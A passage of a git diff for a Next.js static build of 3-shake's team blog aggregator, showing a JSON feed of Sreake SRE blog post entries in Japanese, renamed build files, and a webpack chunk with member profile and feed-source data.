ECSの可用性設計を4つの軸で整理する first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/ecs-availability-4-factors/","isoDate":"2023-12-05T02:48:59.000Z","dateMiliSeconds":1701744539000,"authorName":"Sreake","authorId":"Sreake"},{"title":"データベース輪読会をやってみた話","contentSnippet":"はじめに こんにちは。株式会社スリーシェイク Sreake 事業部に所属している @suganamao です。Sreake 事業部は技術力が求められる領域で豊富な経験を持つ SRE の専門家が集まったチームです。事業部に […]The post データベース輪読会をやってみた話 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/database-reading-circle/","isoDate":"2023-11-29T03:45:53.000Z","dateMiliSeconds":1701229553000,"authorName":"Sreake","authorId":"Sreake"},{"title":"GitHubとCircleCIからFour Keysを計測する","contentSnippet":"はじめに Sreake事業部でインターンをしている村山です。私は以前に、DORAチームの提案したFour Keysという指標の計測システムの調査・検証を行いました。以前の検証では、GitHubとGitLab、及びモックデ […]The post GitHubとCircleCIからFour Keysを計測する first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/four-keys-with-github-circleci/","isoDate":"2023-11-22T01:25:41.000Z","dateMiliSeconds":1700616341000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、Google Cloud Japan の「Google Cloud Partner Top Engineer 2024」にて3名のエンジニアが受賞","contentSnippet":"株式会社スリーシェイクは、この度 Google Cloud Japan の「Google Cloud Partner Top Engineer 2024」において、スリーシェイクから3名のエンジニアが受賞したことをお知らせいたします。The post スリーシェイク、Google Cloud Japan の「Google Cloud Partner Top Engineer 2024」にて3名のエンジニアが受賞 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/google-cloud-partner-top-engineer-2024/","isoDate":"2023-11-20T00:50:00.000Z","dateMiliSeconds":1700441400000,"authorName":"Sreake","authorId":"Sreake"},{"title":"ChatGPTのFunctionCallをGolangで試してみる","contentSnippet":"1. はじめに はじめまして、Sreake事業部インターン生の井上です。私はSreake事業部にてSRE技術の調査と研究を行う目的で2023年3月6日から長期インターン生として参加しています。 今回、ChatGPTの新機 […]The post ChatGPTのFunctionCallをGolangで試してみる first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/chatgpt-function-call-with-golang/","isoDate":"2023-11-17T11:24:01.000Z","dateMiliSeconds":1700220241000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、生成AIを活用したSRE業務自動化への取り組みを発表","contentSnippet":"株式会社スリーシェイクが提供するSRE総合支援サービス「Sreake(スリーク)」は、「 Google Cloud 生成 AI パートナー エコシステム 」を活用して、SREの業務を自動化・効率化し、これまでの人的リソースへの依存度を軽減する取り組みを開始することをお知らせいたします。The post スリーシェイク、生成AIを活用したSRE業務自動化への取り組みを発表 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/generative-ai-sre/","isoDate":"2023-11-14T00:50:00.000Z","dateMiliSeconds":1699923000000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Time-Slicing GPUs を Kubernetes で利用する","contentSnippet":"はじめに Kubernetes にて、1つのGPUを複数コンテナ (※ Pod内の複数コンテナ、複数のPodを指す) で使い倒したい。そんな時はありますでしょうか。本記事では、NVIDIA/k8s-device-plug […]The post Time-Slicing GPUs を Kubernetes で利用する first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubernetes-time-slicing-gpu/","isoDate":"2023-10-31T08:39:06.000Z","dateMiliSeconds":1698741546000,"authorName":"Sreake","authorId":"Sreake"},{"title":"ShellCheckで自動化の品質を向上させる","contentSnippet":"はじめに Site Reliability Engineering (SRE) の領域では、トイル (toil) の削減と効率的なオペレーションが大きな課題となっています。トイルというのは、手作業で繰り返し行う作業のこと […]The post ShellCheckで自動化の品質を向上させる first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/shellcheck-automation-enhancement/","isoDate":"2023-10-31T02:32:20.000Z","dateMiliSeconds":1698719540000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Vertex AI Searchによる社内knowlegeの要約ツールをつくってみた","contentSnippet":"こんにちは、初めましての方もそうでない方も、Sreake事業部 佐藤慧太(@SatohJohn)です。 今回Google CloudのVertex AI Search(旧Enterprise Search)について検証の […]The post Vertex AI Searchによる社内knowlegeの要約ツールをつくってみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/vertex-ai-search-summary-tool/","isoDate":"2023-10-12T03:46:53.000Z","dateMiliSeconds":1697082413000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、 インシデント管理・運用プラットフォーム「PagerDuty」の導入支援サービスを正式リリース","contentSnippet":"株式会社スリーシェイクが提供するSRE総合支援サービス「Sreake(スリーク)」は、新たに 、システムのインシデント対応を一元化するプラットフォーム「PagerDuty」の導入支援サービス「PagerDutyパッケージ」を正式リリースいたしました。The post スリーシェイク、 インシデント管理・運用プラットフォーム「PagerDuty」の導入支援サービスを正式リリース first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/pagerduty-package/","isoDate":"2023-10-10T00:50:00.000Z","dateMiliSeconds":1696899000000,"authorName":"Sreake","authorId":"Sreake"},{"title":"SREとPlatform Engineerの違いを3つのポイントで理解する","contentSnippet":"はじめに プラットフォームエンジニアリング(Platform Engineering)とサイト信頼性エンジニアリング(SRE, Site Reliability Engineering)はともに、ITインフラとアプリケー […]The post SREとPlatform Engineerの違いを3つのポイントで理解する first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/3-diffs-with-sre-and-platform-engineer/","isoDate":"2023-10-04T03:49:57.000Z","dateMiliSeconds":1696391397000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Kubernetes における秘密情報の管理方法","contentSnippet":"自己紹介 竹下 2023年8月21日からインターンに参加している早稲田大学基幹理工学研究科 M1 竹下です。SRE関連の技術と,自身が研究しているセキュリティ分野との関係性を学びたいと思い、インターンに参加しました。 中 […]The post Kubernetes における秘密情報の管理方法 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubernetes-secret-management/","isoDate":"2023-09-25T08:35:29.000Z","dateMiliSeconds":1695630929000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、 Google Cloud Partner Advantage プログラムにおいて「インフラストラクチャ – サービス」のスペシャライゼーション認定を取得","contentSnippet":"Google Cloud – Sell エンゲージメントモデルにおけるプレミアパートナーである株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、Google Cl […]The post スリーシェイク、 Google Cloud Partner Advantage プログラムにおいて「インフラストラクチャ – サービス」のスペシャライゼーション認定を取得 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/google-cloud-specialization/","isoDate":"2023-09-22T00:50:00.000Z","dateMiliSeconds":1695343800000,"authorName":"Sreake","authorId":"Sreake"},{"title":"コンテナセキュリティ TetragonとPodSecurity/seccompの機能比較","contentSnippet":"自己紹介 高島 陸斗 千葉工業大学修士1年生の高島陸斗です。大学院では、コンピュータによる数値計算の厳密解との誤差がどの程度あるのかを調べる精度保証の精度を上げるための研究をしています。サイバーセキュリティに興味があり、 […]The post コンテナセキュリティ TetragonとPodSecurity/seccompの機能比較 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/container-security-comparison/","isoDate":"2023-09-11T07:22:29.000Z","dateMiliSeconds":1694416949000,"authorName":"Sreake","authorId":"Sreake"}]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/atsuya0.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/atsuya0.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/atsuya0.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/atsuya0.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/atusy.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/atusy.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/atusy.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/atusy.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/bayobayo0324.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/bayobayo0324.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/bayobayo0324.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/bayobayo0324.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/bells17.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/bells17.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/bells17.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/bells17.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/gawingowin.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/gawingowin.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/gawingowin.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/gawingowin.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/hide-1.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/hide-1.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/hide-1.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/hide-1.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/hiroki-hasegawa.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/hiroki-hasegawa.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/hiroki-hasegawa.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/hiroki-hasegawa.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/ixsakra.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/ixsakra.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/ixsakra.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/ixsakra.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/kaisato.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/kaisato.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/kaisato.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/kaisato.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/kaita-nakamura.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/kaita-nakamura.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/kaita-nakamura.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/kaita-nakamura.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/kiyos.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/kiyos.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/kiyos.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/kiyos.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/kobuchi.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/kobuchi.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/kobuchi.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/kobuchi.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/kojake_300.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/kojake_300.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/kojake_300.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/kojake_300.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/komiyama5380.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/komiyama5380.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/komiyama5380.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/komiyama5380.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/kurita.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/kurita.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/kurita.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/kurita.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/kyohmizu.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/kyohmizu.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/kyohmizu.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/kyohmizu.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/masasuzu.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/masasuzu.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/masasuzu.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/masasuzu.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/melanmeg.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/melanmeg.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/melanmeg.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/melanmeg.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/mos914.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/mos914.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/mos914.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/mos914.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/moz-sec.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/moz-sec.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/moz-sec.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/moz-sec.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/myamamoto.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/myamamoto.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/myamamoto.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/myamamoto.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/nnaka2992.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/nnaka2992.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/nnaka2992.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/nnaka2992.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/nomadblacky.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/nomadblacky.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/nomadblacky.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/nomadblacky.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/nwiizo.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/nwiizo.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/nwiizo.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/nwiizo.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/raba-jp.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/raba-jp.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/raba-jp.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/raba-jp.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/sakama.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/sakama.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/sakama.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/sakama.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/satoken.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/satoken.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/satoken.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/satoken.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/seno.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/seno.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/seno.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/seno.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/skikkh.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/skikkh.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/skikkh.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/skikkh.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/sosan01.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/sosan01.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/sosan01.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/sosan01.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/stakamura.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/stakamura.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/stakamura.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/stakamura.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/tayakun.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/tayakun.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/tayakun.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/tayakun.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/tez.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/tez.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/tez.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/tez.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/toVersus.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/toVersus.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/toVersus.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/toVersus.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/toshikish.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/toshikish.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/toshikish.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/toshikish.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/tozastation.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/tozastation.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/tozastation.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/tozastation.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/unvavo.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/unvavo.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/unvavo.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/unvavo.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/yokoo-an209.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/yokoo-an209.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/yokoo-an209.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/yokoo-an209.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/ysakurai.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/ysakurai.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/ysakurai.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/ysakurai.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/yteraoka.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/yteraoka.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/yteraoka.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/yteraoka.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/yuu0w0yuu.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/yuu0w0yuu.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/yuu0w0yuu.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/yuu0w0yuu.json diff --git a/_next/static/J-1R6C13_tKYEex-QCkWl/_buildManifest.js b/_next/static/7z3_GOwsD37OHKkG0-Ekw/_buildManifest.js similarity index 78% rename from _next/static/J-1R6C13_tKYEex-QCkWl/_buildManifest.js rename to _next/static/7z3_GOwsD37OHKkG0-Ekw/_buildManifest.js index 49d6e29bd..e527d14b9 100644 --- a/_next/static/J-1R6C13_tKYEex-QCkWl/_buildManifest.js +++ b/_next/static/7z3_GOwsD37OHKkG0-Ekw/_buildManifest.js @@ -1 +1 @@ -self.__BUILD_MANIFEST=function(e){return{__rewrites:{beforeFiles:[],afterFiles:[],fallback:[]},"/":[e,"static/chunks/pages/index-40afea4d865133d1.js"],"/404":["static/chunks/pages/404-5e722f54ff28faef.js"],"/_error":["static/chunks/pages/_error-e4f561a102d9bb14.js"],"/members":[e,"static/chunks/pages/members-de376a91a8f58e61.js"],"/members/[id]":[e,"static/chunks/pages/members/[id]-fa4563d96c58aa0a.js"],sortedPages:["/","/404","/_app","/_error","/members","/members/[id]"]}}("static/chunks/983-56a8bf8443c9ac56.js"),self.__BUILD_MANIFEST_CB&&self.__BUILD_MANIFEST_CB(); \ No newline at end of file +self.__BUILD_MANIFEST=function(e){return{__rewrites:{beforeFiles:[],afterFiles:[],fallback:[]},"/":[e,"static/chunks/pages/index-40afea4d865133d1.js"],"/404":["static/chunks/pages/404-5e722f54ff28faef.js"],"/_error":["static/chunks/pages/_error-e4f561a102d9bb14.js"],"/members":[e,"static/chunks/pages/members-de376a91a8f58e61.js"],"/members/[id]":[e,"static/chunks/pages/members/[id]-fa4563d96c58aa0a.js"],sortedPages:["/","/404","/_app","/_error","/members","/members/[id]"]}}("static/chunks/983-18ccf36f1e728012.js"),self.__BUILD_MANIFEST_CB&&self.__BUILD_MANIFEST_CB(); \ No newline at end of file diff --git a/_next/static/J-1R6C13_tKYEex-QCkWl/_ssgManifest.js b/_next/static/7z3_GOwsD37OHKkG0-Ekw/_ssgManifest.js similarity index 100% rename from _next/static/J-1R6C13_tKYEex-QCkWl/_ssgManifest.js rename to _next/static/7z3_GOwsD37OHKkG0-Ekw/_ssgManifest.js diff --git a/_next/static/chunks/983-56a8bf8443c9ac56.js b/_next/static/chunks/983-18ccf36f1e728012.js similarity index 99% rename from _next/static/chunks/983-56a8bf8443c9ac56.js rename to _next/static/chunks/983-18ccf36f1e728012.js index 0596c08f2..0df7d52ec 100644 --- a/_next/static/chunks/983-56a8bf8443c9ac56.js +++ b/_next/static/chunks/983-18ccf36f1e728012.js @@ -1 +1 @@ -"use strict";(self.webpackChunk_N_E=self.webpackChunk_N_E||[]).push([[983],{1807:function(e,t,o){o.d(t,{T:function(){return a}});let a=[{id:"yteraoka",name:"yteraoka",role:"SRE",bio:"ojisan",avatarSrc:"/avatars/yteraoka.jpeg",sources:["https://blog.1q77.com/index.xml","https://qiita.com/yteraoka/feed","https://medium.com/feed/@yteraoka","https://zenn.dev/yteraoka/feed"],includeUrlRegex:"",twitterUsername:"yteraoka",githubUsername:"yteraoka",websiteUrl:"https://blog.1q77.com/"},{id:"tozastation",name:"tozastation",role:"SRE",bio:"tarako_chan",avatarSrc:"/avatars/tozastation.jpg",sources:["https://qiita.com/tozastation/feed","https://tozastation.hashnode.dev/rss.xml","https://zenn.dev/tozastation/feed"],includeUrlRegex:"",twitterUsername:"tozastation",githubUsername:"tozastation",websiteUrl:"https://github.com/tozastation"},{id:"kyohmizu",name:"kyohmizu",role:"SRE",bio:"mizumoto",avatarSrc:"/avatars/kyohmizu.png",sources:["https://kyohmizu.hatenablog.com/feed","https://qiita.com/kyohmizu/feed"],includeUrlRegex:"",twitterUsername:"kyohmizu",githubUsername:"kyohmizu",websiteUrl:"https://profile.kyohmizu.com/"},{id:"nwiizo",name:"nwiizo",role:"Software Developer",bio:"The Passionate Programmer",avatarSrc:"/avatars/nwiizo.jpeg",sources:["https://syu-m-5151.hatenablog.com/feed","https://zenn.dev/nwiizo/feed","https://speakerdeck.com/nwiizo.rss"],includeUrlRegex:"",twitterUsername:"nwiizo",githubUsername:"nwiizo",websiteUrl:"https://nwiizo.github.io/"},{id:"skikkh",name:"skikkh",role:"SRE",bio:"skikkh",avatarSrc:"/avatars/skikkh.jpeg",sources:["https://qiita.com/skikkh/feed"],includeUrlRegex:"",twitterUsername:"skikkh",githubUsername:"skikkh",websiteUrl:""},{id:"toshikish",name:"toshikish",role:"SRE",bio:"Toshiki Shimomura",avatarSrc:"/avatars/toshikish.png",sources:["https://toshikish.hateblo.jp/feed","https://zenn.dev/toshikish/feed","https://qiita.com/toshikish/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"toshikish",websiteUrl:""},{id:"Sreake",name:"Sreake",role:"",bio:"This Is The Sreake Section Blog.",avatarSrc:"/avatars/sreake.png",sources:["https://sreake.com/feed/"],includeUrlRegex:"blog",excludeUrlRegex:"event",twitterUsername:"SreakeJ",githubUsername:"",websiteUrl:"https://sreake.com"},{id:"Reckoner",name:"Reckoner",role:"",bio:"This Is The Reckoner Section Blog.",avatarSrc:"/avatars/reckoner.png",sources:[],includeUrlRegex:"blog",excludeUrlRegex:"event",twitterUsername:"reckoner_japan",githubUsername:"",websiteUrl:"https://reckoner.io/"},{id:"tez",name:"Takuya Tezuka",role:"JB",bio:"tez",avatarSrc:"/avatars/tezuka.jpeg",sources:["https://qiita.com/TT_Private/feed","https://speakerdeck.com/takuyatezuka.rss"],includeUrlRegex:"qiita.com/TT_Private",twitterUsername:"tt0603",githubUsername:"taku-tez",websiteUrl:"https://www.wantedly.com/id/takuya_tezuka"},{id:"sosan01",name:"Soichiro Tsuchida",role:"SRE",bio:"sosan",avatarSrc:"/avatars/sosan01.png",sources:[],includeUrlRegex:"",twitterUsername:"",githubUsername:"sosan01",websiteUrl:""},{id:"atsuya0",name:"Atsuya Tsukada",role:"SRE",bio:"human",avatarSrc:"/avatars/atsuya0.jpg",sources:["https://zenn.dev/tayusa/feed","https://qiita.com/atsuya0/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"atsuya0",websiteUrl:"https://github.com/atsuya0"},{id:"masasuzu",name:"SUZUKI, Masashi",role:"SRE",bio:"yasetai",avatarSrc:"/avatars/masasuzu.png",sources:["https://blog.masasuzu.net/feed","https://speakerdeck.com/masasuzu.rss"],includeUrlRegex:"",twitterUsername:"masasuz",githubUsername:"masasuzu",websiteUrl:"https://masasuzu.net"},{id:"kiyos",name:"Kyohei Saito",role:"SRE",bio:"haraheri",avatarSrc:"/avatars/kiyos.jpeg",sources:["https://zenn.dev/kyohei_saito/feed"],includeUrlRegex:"",twitterUsername:"kiyo_12_07",githubUsername:"kiyo-s",websiteUrl:""},{id:"mos914",name:"Yu Kaneko",role:"SRE",bio:"koke",avatarSrc:"/avatars/mos914.png",sources:["https://qiita.com/dirtymosschan/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"mos914",websiteUrl:""},{id:"unvavo",name:"nobu",role:"SRE",bio:"nobu",avatarSrc:"/avatars/nobu.png",sources:[],includeUrlRegex:"",twitterUsername:"unvavo",githubUsername:"unvavo",websiteUrl:""},{id:"hiroki-hasegawa",name:"長谷川 広樹",role:"なんらかのエンジニア",bio:"顔画像は著作権フリーですのでどうぞ",avatarSrc:"/avatars/hirokihasegawa.png",sources:["https://hiroki-hasegawa.hatenablog.jp/feed","https://speakerdeck.com/hiroki_hasegawa.rss"],includeUrlRegex:"",twitterUsername:"Hiroki__IT",githubUsername:"hiroki-it",websiteUrl:"https://hiroki-it.github.io/tech-notebook/"},{id:"kaisato",name:"Kai Sato",role:"SRE",bio:"domo",avatarSrc:"/avatars/kaisato.png",sources:[],includeUrlRegex:"",twitterUsername:"KAI21441756",githubUsername:"kaitexio",websiteUrl:""},{id:"ysakurai",name:"Yusuke Sakurai",role:"SRE",bio:"ysakurai",avatarSrc:"/avatars/ysakurai.jpg",sources:["https://qiita.com/ys1/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"saku3",websiteUrl:""},{id:"tayakun",name:"Soichiro Taya",role:"SRE",bio:"tayakun",avatarSrc:"/avatars/tayakun.png",sources:["https://qiita.com/tayakun/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"tayatamn",websiteUrl:""},{id:"SatohJohn",name:"SatohJohn",role:"Software Developer",bio:"SatohJohn",avatarSrc:"/avatars/satohjohn.png",sources:["https://qiita.com/satohjohn/feed","https://zenn.dev/satohjohn/feed"],includeUrlRegex:"",twitterUsername:"satohjohn",githubUsername:"satohjohn",websiteUrl:""},{id:"bayobayo0324",name:"bayobayo0324",role:"back/front/app Engineer",bio:"osake 